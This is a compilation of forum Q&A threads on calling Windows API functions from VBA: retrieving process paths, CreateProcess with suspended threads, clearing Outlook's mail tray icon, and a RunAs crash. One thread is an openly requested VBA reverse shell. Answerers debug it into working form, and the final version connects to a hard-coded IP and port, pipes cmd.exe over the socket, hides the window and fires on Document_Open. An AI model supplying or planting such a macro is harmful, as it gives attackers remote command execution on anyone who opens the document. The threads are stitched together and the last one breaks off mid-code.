QueryFullProcessImageName always return 0,can not retrieve process path,code below,need you help,thanks.
Public Declare Function QueryFullProcessImageName Lib "Kernel32.dll" Alias "QueryFullProcessImageNameA" (hProcess As Long, ByVal dwFlags As Long, ByVal lpExeName As String, lpdwSize As Long) As Long
Private Function GetProcessImageName(ByVal lProcessID As Long) As String
Dim hProcess As Long
Dim sBuf As String
Dim sChar As Long
hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION Or PROCESS_QUERY_INFORMATION, 0, lProcessID)
If hProcess Then
sBuf = String$(MAX_PATH, Chr$(0))
QueryFullProcessImageName hProcess, 0, sBuf, MAX_PATH
sBuf = Left$(sBuf, sChar)
End If
GetProcessImageName = sBuf
CloseHandle hProcess
End Function
if you use the GetLastError Function you'll be able to get more information of why it returns 0.
There are a couple issues in the code.
First, sChar is never initialized.
Also, the first parameter to QueryFullProcessImageName is an "In" param so it should be passed ByVal. That may be the cause of the invalid handle error 6.
This thread has some helpful information about how to get the length back when calling QueryFullProcessImageName: http://www.vbforums.com/showthread.php?805537-RESOLVED-Excel-Crash-when-call-API-function-QueryFullProcessImageName-in-excel-VBA-of-win7.
Finally, per https://msdn.microsoft.com/en-us/library/windows/desktop/ms684880(v=vs.85).aspx, "A handle that has the PROCESS_QUERY_INFORMATION access right is automatically granted PROCESS_QUERY_LIMITED_INFORMATION", so remove the unneeded access right.
With that info, try something like this (untested):
Public Declare Function QueryFullProcessImageName Lib "Kernel32.dll" Alias "QueryFullProcessImageNameA" _
(ByVal hProcess As Long, ByVal dwFlags As Long, ByVal lpExeName As String, ByRef lpdwSize As Long) As Long
Private Function GetProcessImageName(ByVal lProcessID As Long) As String
Dim hProcess As Long
Dim sBuf As String
Dim sChar As Long
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, 0, lProcessID)
If hProcess Then
sBuf = String$(MAX_PATH, Chr$(0))
sChar = MAX_PATH
QueryFullProcessImageName hProcess, 0, sBuf, sChar
sBuf = Left$(sBuf, sChar)
End If
GetProcessImageName = sBuf
CloseHandle hProcess
End Function
Related
So I'm trying to write VBA that calls "CreateProcessA" to start the "cmd.exe" process and redirect stdin, stdout, and stderror to a socket that's connected to a remote computer.
At the moment, almost everything seems to be working except the output isn't getting redirected to the socket. When I run the code, it shows on the remote computer that a connection was received, but then the cmd windows just opens on the computer running the VBA and that's it. Anyone know why I'm not able to redirect to the socket? My code is below. Thanks for your help in advance :)
Const ip = "192.168.43.1"
Const port = "1337"
Const INVALID_SOCKET = -1
Const WSADESCRIPTION_LEN = 256
Const SOCKET_ERROR = -1
Const SD_SEND = 1
Const MAX_PROTOCOL_CHAIN = 7&
Const WSAPROTOCOL_LEN = 255
' Typ definitions ----------------------------------------------------
Private Type WSADATA
wVersion As Integer
wHighVersion As Integer
szDescription(0 To WSADESCRIPTION_LEN) As Byte
szSystemStatus(0 To WSADESCRIPTION_LEN) As Byte
iMaxSockets As Integer
iMaxUdpDg As Integer
lpVendorInfo As Long
End Type
Private Type ADDRINFO
ai_flags As Long
ai_family As Long
ai_socktype As Long
ai_protocol As Long
ai_addrlen As Long
ai_canonName As LongPtr 'strptr
ai_addr As LongPtr 'p sockaddr
ai_next As LongPtr 'p addrinfo
End Type
Private Type STARTUPINFOA
cb As Long
lpReserved As String
lpDesktop As String
lpTitle As String
dwX As Long
dwY As Long
dwXSize As Long
dwYSize As Long
dwXCountChars As Long
dwYCountChars As Long
dwFillAttribute As Long
dwFlags As Long
wShowWindow As Integer
cbReserved2 As Integer
lpReserved2 As Byte
hStdInput As LongPtr
hStdOutput As LongPtr
hStdError As LongPtr
End Type
Private Type PROCESS_INFORMATION
hProcess As LongPtr
hThread As LongPtr
dwProcessId As Long
dwThreadId As Long
End Type
Private Type WSAPROTOCOLCHAIN
ChainLen As Long
ChainEntries(1 To MAX_PROTOCOL_CHAIN) As Long
End Type
Private Type GUID
Data1 As Long
Data2 As Integer
Data3 As Integer
Data4(7) As Byte
End Type
Private Type WSAPROTOCOL_INFO
dwServiceFlags1 As Long
dwServiceFlags2 As Long
dwServiceFlags3 As Long
dwServiceFlags4 As Long
dwProviderFlags As Long
ProviderId As GUID
dwCatalogEntryId As Long
ProtocolChain As WSAPROTOCOLCHAIN
iVersion As Long
iAddressFamily As Long
iMaxSockAddr As Long
iMinSockAddr As Long
iSocketType As Long
iProtocol As Long
iProtocolMaxOffset As Long
iNetworkByteOrder As Long
iSecurityScheme As Long
dwMessageSize As Long
dwProviderReserved As Long
szProtocol(1 To WSAPROTOCOL_LEN + 1) As Byte
End Type
Private Type SECURITY_ATTRIBUTES
nLength As Long
lpSecurityDescriptor As LongPtr
bInheritHandle As Long
End Type
' Enums ---------------------------------------------------------------
Enum af
AF_UNSPEC = 0
AF_INET = 2
AF_IPX = 6
AF_APPLETALK = 16
AF_NETBIOS = 17
AF_INET6 = 23
AF_IRDA = 26
AF_BTH = 32
End Enum
Enum sock_type
SOCK_STREAM = 1
SOCK_DGRAM = 2
SOCK_RAW = 3
SOCK_RDM = 4
SOCK_SEQPACKET = 5
End Enum
' External functions --------------------------------------------------
Private Declare PtrSafe Function WSAStartup Lib "ws2_32.dll" (ByVal wVersionRequested As Integer, ByRef data As WSADATA) As Long
Private Declare PtrSafe Function connect Lib "ws2_32.dll" (ByVal socket As LongPtr, ByVal SOCKADDR As LongPtr, ByVal namelen As Long) As Long
Private Declare PtrSafe Sub WSACleanup Lib "ws2_32.dll" ()
Private Declare PtrSafe Function GetAddrInfo Lib "ws2_32.dll" Alias "getaddrinfo" (ByVal NodeName As String, ByVal ServName As String, ByVal lpHints As LongPtr, lpResult As LongPtr) As Long
Private Declare PtrSafe Function ws_socket Lib "ws2_32.dll" Alias "socket" (ByVal af As Long, ByVal stype As Long, ByVal protocol As Long) As Long
Private Declare PtrSafe Function closesocket Lib "ws2_32.dll" (ByVal socket As LongPtr) As Long
Private Declare PtrSafe Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
Private Declare PtrSafe Function Send Lib "ws2_32.dll" Alias "send" (ByVal s As Long, ByVal buf As String, ByVal buflen As Long, ByVal flags As Long) As Long
Private Declare PtrSafe Function Recv Lib "ws2_32.dll" Alias "recv" (ByVal s As Long, ByRef buf As Byte, ByVal buflen As Long, ByVal flags As Long) As Long
Private Declare PtrSafe Function SendWithPtr Lib "ws2_32.dll" Alias "send" (ByVal s As Long, ByVal bufPtr As Long, ByVal buflen As Long, ByVal flags As Long) As Long
Private Declare PtrSafe Function shutdown Lib "ws2_32.dll" (ByVal s As Long, ByVal how As Long) As Long
Private Declare PtrSafe Function WSAGetLastError Lib "ws2_32.dll" () As Long
Private Declare PtrSafe Function VarPtrArray Lib "VBE7" Alias "VarPtr" (var() As Any) As Long
Private Declare PtrSafe Function CreateProc Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, ByRef lpProcessAttributes As SECURITY_ATTRIBUTES, ByRef lpThreadAttributes As SECURITY_ATTRIBUTES, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, ByVal lpEnvironment As LongPtr, ByVal lpCurrentDirectory As String, lpStartupInfo As STARTUPINFOA, lpProcessInformation As PROCESS_INFORMATION) As LongPtr
Private Declare PtrSafe Sub ZeroMemory Lib "kernel32" Alias "RtlZeroMemory" (Destination As STARTUPINFOA, ByVal Length As Long)
Private Declare PtrSafe Function WSASocketA Lib "ws2_32.dll" (ByVal af As Long, ByVal t As Long, ByVal protocol As Long, lpProtocolInfo As LongPtr, ByVal g As Long, ByVal dwFlags As Long) As Long
Function revShell()
Dim m_wsaData As WSADATA
Dim m_RetVal As Integer
Dim m_Hints As ADDRINFO
Dim m_ConnSocket As LongPtr: m_ConnSocket = INVALID_SOCKET
Dim pAddrInfo As LongPtr
Dim RetVal As Long
Dim lastError As Long
Dim iRC As Long
Dim MAX_BUF_SIZE As Integer: MAX_BUF_SIZE = 512
Dim protoInfo As WSAPROTOCOL_INFO
'Socket Settings
RetVal = WSAStartup(MAKEWORD(2, 2), m_wsaData)
If (RetVal <> 0) Then
MsgBox "WSAStartup failed with error " & RetVal, WSAGetLastError()
Call WSACleanup
Exit Function
End If
m_Hints.ai_family = af.AF_UNSPEC
m_Hints.ai_socktype = sock_type.SOCK_STREAM
RetVal = GetAddrInfo(ip, port, VarPtr(m_Hints), pAddrInfo)
If (RetVal <> 0) Then
MsgBox "Cannot resolve address " & ip & " and port " & port & ", error " & RetVal, WSAGetLastError()
Call WSACleanup
Exit Function
End If
m_Hints.ai_next = pAddrInfo
Dim connected As Boolean: connected = False
Do While m_Hints.ai_next > 0
CopyMemory m_Hints, ByVal m_Hints.ai_next, LenB(m_Hints)
m_ConnSocket = WSASocketA(m_Hints.ai_family, m_Hints.ai_socktype, m_Hints.ai_protocol, 0, 0, 0)
If (m_ConnSocket = INVALID_SOCKET) Then
MsgBox "Error opening socket, error " & RetVal & WSAGetLastError()
Else
Dim connectionResult As Long
connectionResult = connect(m_ConnSocket, m_Hints.ai_addr, m_Hints.ai_addrlen)
If connectionResult <> SOCKET_ERROR Then
connected = True
Exit Do
End If
MsgBox ("connect() to socket failed")
closesocket (m_ConnSocket)
End If
Loop
If Not connected Then
MsgBox ("Fatal error: unable to connect to the server")
'MsgBox (WSAGetLastError())
RetVal = closesocket(m_ConnSocket)
Call WSACleanup
Exit Function
End If
Dim secAttrPrc As SECURITY_ATTRIBUTES
secAttrPrc.nLength = Len(secAttrPrc)
Dim secAttrThr As SECURITY_ATTRIBUTES
secAttrThr.nLength = Len(secAttrThr)
Dim si As STARTUPINFOA
ZeroMemory si, Len(si)
si.cb = Len(si)
si.dwFlags = &H100
si.hStdInput = m_ConnSocket
si.hStdOutput = m_ConnSocket
si.hStdError = m_ConnSocket
Dim pi As PROCESS_INFORMATION
Dim worked As LongPtr
Dim test As Long
worked = CreateProc(vbNullString, "cmd.exe", secAttrPrc, secAttrThr, True, 0, 0, Environ("USERPROFILE"), si, pi)
'MsgBox (worked)
If worked Then
MsgBox ("Worked!")
Else
MsgBox ("Didn't work")
End If
End Function
I can get it work with msdn sample: Server and Client(Added create cmd process in it).
And I can also reproduce this issue with you sample in VBA. When I use the WSASocketA you defined, I get Compile error at lpProtocolInfo As WSAPROTOCOL_INFOA
Compile error: ByRef argument type mismatch
Since it is a pointer type, I modify it as ByVal lpProtocolInfo As LongPtr.
More importantly, you've ZeroMemory the STARTUPINFO after you set it, and then all the handles you set will be discarded.
Put the initialization at the beginning:
Dim si As STARTUPINFOA
ZeroMemory si, Len(si)
si.cb = Len(si)
si.dwFlags = &H100
si.hStdInput = m_ConnSocket
si.hStdOutput = m_ConnSocket
si.hStdError = m_ConnSocket
Then it works for me.
UPDATE:
lpProtocolInfo As LongPtr You did not add ByVal in your updated code, and then I can use it to work.
There is not enough space on the disk
This may be related to the string processing in your server side. You need to add the suffix "\r\n" to the cmd string you send. I use the Server sample on msdn, and modify the do-while{} part:
do {
Sleep(1000);
iResult = recv(ClientSocket, recvbuf, recvbuflen, 0);
if (iResult > 0) {
recvbuf[iResult] = L'\0';
printf("%s", recvbuf);
}
char sendcmd[512] = { 0 };
fgets(sendcmd, 512, stdin);
int len = strlen(sendcmd); // "test\n"
sendcmd[len - 1] = '\r'; //"test\r"
sendcmd[len] = '\n'; //"test\r\n"
iSendResult = send(ClientSocket, sendcmd, len+1, 0); //without '\0'
if (iSendResult == SOCKET_ERROR) {
printf("send failed with error: %d\n", WSAGetLastError());
closesocket(ClientSocket);
WSACleanup();
return 1;
}
if (strncmp(sendcmd, "exit", 4) == 0)
break;
} while (iResult > 0);
In addition, you can specify CREATE_NO_WINDOW for CreateProcess, so that cmd windows are not created on the client side.
Result(I test it in localhost:127.0.0.1):
Ok, so I finally got it working. I was having a few issues that I was able to fix thanks to some of the users in this thread. First, I had to use WSASocketA() instead of socket() because you can't redirect process IO to sockets created with socket(). The other issues I was having was with type mismatching between VBA and C-types. Below is the updated code and here's a link to the github with the code as well: https://github.com/JohnWoodman/VBA-Macro-Reverse-Shell
Const ip = "192.168.43.1"
Const port = "1337"
Const INVALID_SOCKET = -1
Const WSADESCRIPTION_LEN = 256
Const SOCKET_ERROR = -1
Private Type WSADATA
wVersion As Integer
wHighVersion As Integer
szDescription(0 To WSADESCRIPTION_LEN) As Byte
szSystemStatus(0 To WSADESCRIPTION_LEN) As Byte
iMaxSockets As Integer
iMaxUdpDg As Integer
lpVendorInfo As Long
End Type
Private Type ADDRINFO
ai_flags As Long
ai_family As Long
ai_socktype As Long
ai_protocol As Long
ai_addrlen As Long
ai_canonName As LongPtr
ai_addr As LongPtr
ai_next As LongPtr
End Type
Private Type STARTUPINFOA
cb As Long
lpReserved As String
lpDesktop As String
lpTitle As String
dwX As Long
dwY As Long
dwXSize As Long
dwYSize As Long
dwXCountChars As Long
dwYCountChars As Long
dwFillAttribute As Long
dwFlags As Long
wShowWindow As Integer
cbReserved2 As Integer
lpReserved2 As String
hStdInput As LongPtr
hStdOutput As LongPtr
hStdError As LongPtr
End Type
Private Type PROCESS_INFORMATION
hProcess As LongPtr
hThread As LongPtr
dwProcessId As Long
dwThreadId As Long
End Type
Enum af
AF_UNSPEC = 0
AF_INET = 2
AF_IPX = 6
AF_APPLETALK = 16
AF_NETBIOS = 17
AF_INET6 = 23
AF_IRDA = 26
AF_BTH = 32
End Enum
Enum sock_type
SOCK_STREAM = 1
SOCK_DGRAM = 2
SOCK_RAW = 3
SOCK_RDM = 4
SOCK_SEQPACKET = 5
End Enum
Private Declare PtrSafe Function WSAStartup Lib "ws2_32.dll" (ByVal wVersionRequested As Integer, ByRef data As WSADATA) As Long
Private Declare PtrSafe Function connect Lib "ws2_32.dll" (ByVal socket As LongPtr, ByVal SOCKADDR As LongPtr, ByVal namelen As Long) As Long
Private Declare PtrSafe Sub WSACleanup Lib "ws2_32.dll" ()
Private Declare PtrSafe Function GetAddrInfo Lib "ws2_32.dll" Alias "getaddrinfo" (ByVal NodeName As String, ByVal ServName As String, ByVal lpHints As LongPtr, lpResult As LongPtr) As Long
Private Declare PtrSafe Function closesocket Lib "ws2_32.dll" (ByVal socket As LongPtr) As Long
Private Declare PtrSafe Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
Private Declare PtrSafe Function WSAGetLastError Lib "ws2_32.dll" () As Long
Private Declare PtrSafe Function CreateProc Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, ByVal lpProcessAttributes As Any, ByVal lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, ByVal lpEnvironment As LongPtr, ByVal lpCurrentDirectory As String, lpStartupInfo As STARTUPINFOA, lpProcessInformation As PROCESS_INFORMATION) As LongPtr
Private Declare PtrSafe Sub ZeroMemory Lib "kernel32" Alias "RtlZeroMemory" (Destination As STARTUPINFOA, ByVal Length As Long)
Private Declare PtrSafe Function WSASocketA Lib "ws2_32.dll" (ByVal af As Long, ByVal t As Long, ByVal protocol As Long, lpProtocolInfo As Any, ByVal g As Long, ByVal dwFlags As Long) As Long
Function revShell()
Dim m_wsaData As WSADATA
Dim m_RetVal As Integer
Dim m_Hints As ADDRINFO
Dim m_ConnSocket As LongPtr: m_ConnSocket = INVALID_SOCKET
Dim pAddrInfo As LongPtr
Dim RetVal As Long
Dim lastError As Long
Dim iRC As Long
Dim MAX_BUF_SIZE As Integer: MAX_BUF_SIZE = 512
RetVal = WSAStartup(MAKEWORD(2, 2), m_wsaData)
If (RetVal <> 0) Then
MsgBox "WSAStartup failed with error " & RetVal, WSAGetLastError()
Call WSACleanup
Exit Function
End If
m_Hints.ai_family = af.AF_UNSPEC
m_Hints.ai_socktype = sock_type.SOCK_STREAM
RetVal = GetAddrInfo(ip, port, VarPtr(m_Hints), pAddrInfo)
If (RetVal <> 0) Then
MsgBox "Cannot resolve address " & ip & " and port " & port & ", error " & RetVal, WSAGetLastError()
Call WSACleanup
Exit Function
End If
m_Hints.ai_next = pAddrInfo
Dim connected As Boolean: connected = False
Do While m_Hints.ai_next > 0
CopyMemory m_Hints, ByVal m_Hints.ai_next, LenB(m_Hints)
m_ConnSocket = WSASocketA(m_Hints.ai_family, m_Hints.ai_socktype, m_Hints.ai_protocol, ByVal 0&, 0, 0)
If (m_ConnSocket = INVALID_SOCKET) Then
revShell = False
Else
Dim connectionResult As Long
connectionResult = connect(m_ConnSocket, m_Hints.ai_addr, m_Hints.ai_addrlen)
If connectionResult <> SOCKET_ERROR Then
connected = True
Exit Do
End If
closesocket (m_ConnSocket)
revShell = False
End If
Loop
If Not connected Then
revShell = False
RetVal = closesocket(m_ConnSocket)
Call WSACleanup
Exit Function
End If
Dim si As STARTUPINFOA
ZeroMemory si, Len(si)
si.cb = Len(si)
si.dwFlags = &H100
si.hStdInput = m_ConnSocket
si.hStdOutput = m_ConnSocket
si.hStdError = m_ConnSocket
Dim pi As PROCESS_INFORMATION
Dim worked As LongPtr
Dim test As Long
worked = CreateProc(vbNullString, "cmd", ByVal 0&, ByVal 0&, True, &H8000000, 0, vbNullString, si, pi)
revShell = worked
End Function
Public Function MAKEWORD(Lo As Byte, Hi As Byte) As Integer
MAKEWORD = Lo + Hi * 256& Or 32768 * (Hi > 127)
End Function
Private Sub Document_Open()
Dim success As Boolean
success = revShell()
End Sub
I'm stuck using WINAPI's CreateProcess with CREATE_SUSPENDED and ResumeThread from VBA.
I would like to start a process (and receive it's Process ID) and be able to suspend and resume its main thread (depending on a more complicated scheme considering the resource utilisation use of my computer - not detailed here). I came up with the below code and have the following problems:
LastDllError is 18 after calling CreateProcess although the return
value is nonzero. What does this mean?
ResumeThread fails with ERROR_INVALID_HANDLE, and does not resume
it. What is wrong here?
My code:
Option Explicit
Private Type SECURITY_ATTRIBUTES
nLength As Long
lpSecurityDescriptor As Long
bInheritHandle As Long
End Type
Private Type STARTUPINFO
cb As Long
lpReserved As String
lpDesktop As String
lpTitle As String
dwX As Long
dwY As Long
dwXSize As Long
dwYSize As Long
dwXCountChars As Long
dwYCountChars As Long
dwFillAttribute As Long
dwFlags As Long
wShowWindow As Integer
cbReserved2 As Integer
lpReserved2 As Byte
hStdInput As Long
hStdOutput As Long
hStdError As Long
End Type
Private Type PROCESS_INFORMATION
hProcess As Long
hThread As Long
dwProcessId As Long
dwThreadId As Long
End Type
Private Const CREATE_SUSPENDED As Long = 4
Private Declare Function CreateProcess Lib "kernel32" Alias "CreateProcessA" ( _
ByVal lpApplicationName As String, _
ByVal lpCommandLine As String, _
ByRef lpProcessAttributes As SECURITY_ATTRIBUTES, _
ByRef lpThreadAttributes As SECURITY_ATTRIBUTES, _
ByVal bInheritHandles As Long, _
ByVal dwCreationFlags As Long, _
ByRef lpEnvironment As Any, _
ByVal lpCurrentDirectory As String, _
ByRef lpStartupInfo As STARTUPINFO, _
ByRef lpProcessInformation As PROCESS_INFORMATION) As Long
Private Declare Function SuspendThread Lib "kernel32" (hThread As Long) As Long
Private Declare Function ResumeThread Lib "kernel32" (hThread As Long) As Long
Private Declare Function CloseHandle Lib "kernel32.dll" (ByVal hObject As Long) As Long
Private Declare Function DebugActiveProcess Lib "kernel32" (ByVal dwProcessId As Long) As Long
Private Declare Function DebugActiveProcessStop Lib "kernel32" (ByVal dwProcessId As Long) As Long
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Public Function WinApi_CreateProcess(strCommandLine As String, Optional strCurrentDirectory As String = vbNullString) As Long
If strCurrentDirectory = vbNullString Then
strCurrentDirectory = ThisWorkbook.Path
End If
Dim sap As SECURITY_ATTRIBUTES: sap.nLength = Len(sap)
Dim sat As SECURITY_ATTRIBUTES: sat.nLength = Len(sat)
Dim si As STARTUPINFO: si.cb = Len(si)
Dim pi As PROCESS_INFORMATION
Debug.Print Err.LastDllError ' 0 => ERROR_SUCCESS
Dim dwResult As Long: dwResult = CreateProcess(vbNullString, strCommandLine, sap, sat, 0, CREATE_SUSPENDED, 0, strCurrentDirectory, si, pi)
Debug.Print Err.LastDllError ' 18 => ERROR_NO_MORE_FILES (but dwResult <> 0 => Success)
If dwResult = 0 Then
WinApi_CreateProcess = 0: Exit Function
End If
CloseHandle pi.hProcess
Debug.Print Err.LastDllError ' 0 => ERROR_SUCCESS
Dim dwSuspendCount As Long: dwSuspendCount = ResumeThread(pi.hThread)
Debug.Print dwSuspendCount ' -1
If dwSuspendCount = -1 Then
Debug.Print Err.LastDllError ' 6 => ERROR_INVALID_HANDLE
CloseHandle pi.hThread
WinApi_CreateProcess = 0: Exit Function
Else
Debug.Print Err.LastDllError ' Not this branch
CloseHandle pi.hThread
WinApi_CreateProcess = pi.dwProcessId: Exit Function
End If
End Function
After modify all pointer types to LongPtr instead of Long, I can use the sample to reproduce your problem with 64-bit Excel. You could also refer to the statement here
Private Type SECURITY_ATTRIBUTES
nLength As Long
lpSecurityDescriptor As LongPtr
bInheritHandle As Long
End Type
Private Type STARTUPINFO
cb As Long
lpReserved As String
lpDesktop As String
lpTitle As String
dwX As Long
dwY As Long
dwXSize As Long
dwYSize As Long
dwXCountChars As Long
dwYCountChars As Long
dwFillAttribute As Long
dwFlags As Long
wShowWindow As Integer
cbReserved2 As Integer
lpReserved2 As LongPtr
hStdInput As LongPtr
hStdOutput As LongPtr
hStdError As LongPtr
End Type
Private Type PROCESS_INFORMATION
hProcess As LongPtr
hThread As LongPtr
dwProcessId As Long
dwThreadId As Long
End Type
Then I get true result for CreateProcess and ERROR_INVALID_HANDLE error for ResumeThread, I found that ResumeThread parameter did not declare with ByVal(the same as SuspendThread). After add ByVal, the sample works for me.
Declare PtrSafe Function SuspendThread Lib "kernel32" (ByVal hThread As LongPtr) As Long
Declare PtrSafe Function ResumeThread Lib "kernel32" (ByVal hThread As LongPtr) As Long
LastDllError is 18 after calling CreateProcess although the return value is nonzero. What does this mean?
It means you are using Err.LastDllError incorrectly. If CreateProcess() succeeds (returns non-zero), the value of Err.LastDllError is indeterminate, so just ignore it. Its value will be meaningful only if CreateProcess() fails (returns zero).
ResumeThread fails with ERROR_INVALID_HANDLE, and does not resume it. What is wrong here?
You are checking the return value of ResumeThread() incorrectly, so you are checking Err.LastDllError at the wrong time, again.
Per the ResumeThread() documentation:
If the function succeeds, the return value is the thread's previous suspend count.
If the function fails, the return value is (DWORD) -1. To get extended error information, call GetLastError.
In this case, you are checking the return value of ResumeThread() against 0, but the process was created in a suspended state, so its main thread's suspend count would be 1, and so ResumeThread() should be returning 1 if the thread is successfully resumed, but you are treating that as a failure condition instead of a success condition.
You need to change this:
If ResumeThread(pi.hThread) <> 0 Then
To this:
If ResumeThread(pi.hThread) = -1 Then
And clean up your use of Err.LastDllError, eg:
Public Function WinApi_CreateProcess(strCommandLine As String, Optional strCurrentDirectory As String = vbNullString) As Long
If strCurrentDirectory = vbNullString Then
strCurrentDirectory = ThisWorkbook.Path
End If
Dim sap As SECURITY_ATTRIBUTES: sap.nLength = Len(sap)
Dim sat As SECURITY_ATTRIBUTES: sat.nLength = Len(sat)
Dim si As STARTUPINFO: si.cb = Len(si)
Dim pi As PROCESS_INFORMATION
Dim dwResult As Long: dwResult = CreateProcess(vbNullString, strCommandLine, sap, sat, 0, CREATE_SUSPENDED, 0, strCurrentDirectory, si, pi)
If dwResult = 0 Then
Debug.Print Err.LastDllError
WinApi_CreateProcess = 0: Exit Function
End If
CloseHandle pi.hProcess
Dim dwSuspendCount As Long: dwSuspendCount = ResumeThread(pi.hThread)
If dwSuspendCount = -1 Then
Debug.Print Err.LastDllError
CloseHandle pi.hThread
WinApi_CreateProcess = 0: Exit Function
End If
CloseHandle pi.hThread
WinApi_CreateProcess = pi.dwProcessId
End Function
But, you really don't need to create a process suspended and then resume it just to grab its process ID. Get rid of CREATE_SUSPENDED and ResumeThread() altogether, you don't actually need them in this situation:
Public Function WinApi_CreateProcess(strCommandLine As String, Optional strCurrentDirectory As String = vbNullString) As Long
If strCurrentDirectory = vbNullString Then
strCurrentDirectory = ThisWorkbook.Path
End If
Dim sap As SECURITY_ATTRIBUTES: sap.nLength = Len(sap)
Dim sat As SECURITY_ATTRIBUTES: sat.nLength = Len(sat)
Dim si As STARTUPINFO: si.cb = Len(si)
Dim pi As PROCESS_INFORMATION
Dim dwResult As Long: dwResult = CreateProcess(vbNullString, strCommandLine, sap, sat, 0, 0, 0, strCurrentDirectory, si, pi)
If dwResult = 0 Then
Debug.Print Err.LastDllError
WinApi_CreateProcess = 0: Exit Function
End If
CloseHandle pi.hThread
CloseHandle pi.hProcess
WinApi_CreateProcess = pi.dwProcessId
End Function
I've got an add-in that processes and then moves certain incoming emails. The only unfortunate consequence of this is that the "new mail envelope" on the taskbar:
remains lit when there isn't any mail for the user to look at.
There's a VBA solution to this issue here: http://www.outlookcode.com/d/code/clearenvicon.htm
It doesn't seem easily portable to VB though - after clearing up what were to me the obvious changes suggested I end up with:
Module RemoveNotification
' Code sample by Outlook MVP "Neo"
' Removes the New Mail icon from the Windows system tray,
' and resets Outlook's new mail notification engine.
' Tested against Outlook 2000 (IMO) and Outlook 2002 (POP Account)
' Send questions and comments to neo#mvps.org
' WARNING: Due to the use of AddressOf, code must
' go into a module and not ThisOutlookSession or
' a class module
' Entry Point is RemoveNewMailIcon.
Public Const WUM_RESETNOTIFICATION As Long = &H407
'Required Public constants, types & declares
'for the Shell_Notify API method
Public Const NIM_ADD As Long = &H0
Public Const NIM_MODIFY As Long = &H1
Public Const NIM_DELETE As Long = &H2
Public Const NIF_ICON As Long = &H2 'adding an ICON
Public Const NIF_TIP As Long = &H4 'adding a TIP
Public Const NIF_MESSAGE As Long = &H1 'want return messages
' Structure needed for Shell_Notify API
Structure NOTIFYICONDATA
Dim cbSize As Long
Dim hwnd As Long
Dim uID As Long
Dim uFlags As Long
Dim uCallbackMessage As Long
Dim hIcon As Long
Dim szTip As String * 64
End Structure
Declare Function SendMessage Lib "user32" Alias "SendMessageA" _
(ByVal hwnd As Long, ByVal wMsg As Long,
ByVal wParam As Integer, ByVal lParam As Any) As Long
Declare Function GetClassName Lib "user32" _
Alias "GetClassNameA" _
(ByVal hwnd As Long,
ByVal lpClassName As String,
ByVal nMaxCount As Long) As Long
Declare Function GetWindowTextLength Lib "user32" _
Alias "GetWindowTextLengthA" _
(ByVal hwnd As Long) As Long
Declare Function GetWindowText Lib "user32" _
Alias "GetWindowTextA" _
(ByVal hwnd As Long,
ByVal lpString As String,
ByVal cch As Long) As Long
Declare Function EnumWindows Lib "user32" _
(ByVal lpEnumFunc As Long,
ByVal lParam As Long) As Long
Declare Function Shell_NotifyIcon Lib "shell32.dll" _
Alias "Shell_NotifyIconA" _
(ByVal dwMessage As Long,
lpData As NOTIFYICONDATA) As Long
Declare Function FindWindow Lib "user32" Alias "FindWindowA" _
(ByVal lpClassName As String,
ByVal lpWindowName As String) As Long
' This is the entry point that makes it happen
Sub RemoveNewMailIcon()
EnumWindows AddressOf EnumWindowProc, 0
End Sub
Public Function EnumWindowProc(ByVal hwnd As Long,
ByVal lParam As Long) As Long
'Do stuff here with hwnd
Dim sClass As String
Dim sIDType As String
Dim sTitle As String
Dim hResult As Long
sTitle = GetWindowIdentification(hwnd, sIDType, sClass)
If sTitle = "rctrl_renwnd32" Then
hResult = KillNewMailIcon(hwnd)
End If
If hResult Then
EnumWindowProc = False
' Reset the new mail notification engine
Call SendMessage(hwnd, WUM_RESETNOTIFICATION, 0&, 0&)
Else
EnumWindowProc = True
End If
End Function
Private Function GetWindowIdentification(ByVal hwnd As Long,
sIDType As String,
sClass As String) As String
Dim nSize As Long
Dim sTitle As String
'get the size of the string required
'to hold the window title
nSize = GetWindowTextLength(hwnd)
'if the return is 0, there is no title
If nSize > 0 Then
sTitle = Space$(nSize + 1)
Call GetWindowText(hwnd, sTitle, nSize + 1)
sIDType = "title"
sClass = Space$(64)
Call GetClassName(hwnd, sClass, 64)
Else
'no title, so get the class name instead
sTitle = Space$(64)
Call GetClassName(hwnd, sTitle, 64)
sClass = sTitle
sIDType = "class"
End If
GetWindowIdentification = TrimNull(sTitle)
End Function
Private Function TrimNull(startstr As String) As String
Dim pos As Integer
pos = InStr(startstr, Chr$(0))
If pos Then
TrimNull = Left(startstr, pos - 1)
Exit Function
End If
'if this far, there was
'no Chr$(0), so return the string
TrimNull = startstr
End Function
Private Function KillNewMailIcon(ByVal hwnd As Long) As Boolean
Dim pShell_Notify As NOTIFYICONDATA
Dim hResult As Long
'setup the Shell_Notify structure
pShell_Notify.cbSize = Len(pShell_Notify)
pShell_Notify.hwnd = hwnd
pShell_Notify.uID = 0
' Remove it from the system tray and catch result
hResult = Shell_NotifyIcon(NIM_DELETE, pShell_Notify)
If (hResult) Then
KillNewMailIcon = True
Else
KillNewMailIcon = False
End If
End Function
End Module
Which gives the below errors & warnings:
Severity Code Description Line
Error BC30205 End of statement expected. 35
Error BC30800 Method arguments must be enclosed in parentheses. 73
Error BC30828 'As Any' is not supported in 'Declare' statements. 40
Error BC30581 'AddressOf' expression cannot be converted to 'Long' because 'Long' is not a delegate type. 73
Error BC30277 Type character '$' does not match declared data type 'Char'. 129
Warning BC42104 Variable 'sIDType' is used before it has been assigned a value. A null reference exception could result at runtime. 85
Warning BC42104 Variable 'sClass' is used before it has been assigned a value. A null reference exception could result at runtime. 85
Warning BC42109 Variable 'pShell_Notify' is used before it has been assigned a value. A null reference exception could result at runtime. Make sure the structure or all the reference members are initialized before use 145
I have an Outlook 2016 (64-bit) running next vba code, and when the function exits, Outlook crashes. The api executes fine and I see notepad launched under an other user.
Sub TestRunAs()
If User_RunAs("jonny", "JonnysPassword", "lvd.be", "c:\windows\notepad.exe") Then
MsgBox ("Ok, executed!")
End If
